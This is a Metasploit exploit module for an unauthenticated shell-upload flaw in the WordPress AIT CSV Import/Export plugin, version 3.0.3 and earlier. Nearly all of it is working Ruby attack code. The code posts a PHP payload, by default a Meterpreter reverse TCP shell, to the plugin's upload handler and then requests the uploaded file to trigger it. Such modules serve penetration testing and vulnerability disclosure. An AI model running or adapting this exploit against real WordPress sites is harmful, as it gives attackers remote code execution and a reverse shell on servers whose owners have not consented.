WordPress AIT CSV Import/Export 3.0.3 Shell Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HTTP::Wordpress  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress AIT CSV Import Export Unauthenticated Remote Code Execution',  
'Description' => %q{  
The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and  
execute arbitrary PHP code. The upload-handler does not require authentication, nor validates  
the uploaded content. It may return an error when attempting to parse a CSV, however the  
uploaded shell is left. The shell is uploaded to wp-content/uploads/. The plugin is not  
required to be activated to be exploitable.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
# 0day according to wpvdb  
'h00die', # msf module  
],  
'References' =>  
[  
[ 'URL', 'https://www.ait-themes.club/wordpress-plugins/csv-import-export/#changelog-popup' ],  
[ 'WPVDB', '10471' ]  
],  
'Platform' => [ 'php' ],  
'Privileged' => false,  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[  
'AIT CSV Import Export <3.0.4',  
{  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2020-11-14', # 0day detected by wpvdb  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/'])  
]  
)  
end  
  
def check  
return CheckCode::Unknown unless wordpress_and_online?  
  
# no readme file, just a changelog so we need the version from there  
changelog = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'ait-csv-import-export', 'changelog.txt')  
check_version_from_custom_file(changelog, /^v(\d\.\d\.\d),/, '3.0.4')  
end  
  
def exploit  
filename = "#{Rex::Text.rand_text_alphanumeric(6)}.php"  
register_file_for_cleanup(filename)  
  
print_status("Uploading payload: #{filename}")  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'ait-csv-import-export', 'admin', 'upload-handler.php'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
print_status('Triggering payload')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', filename)  
)  
end  
end  
`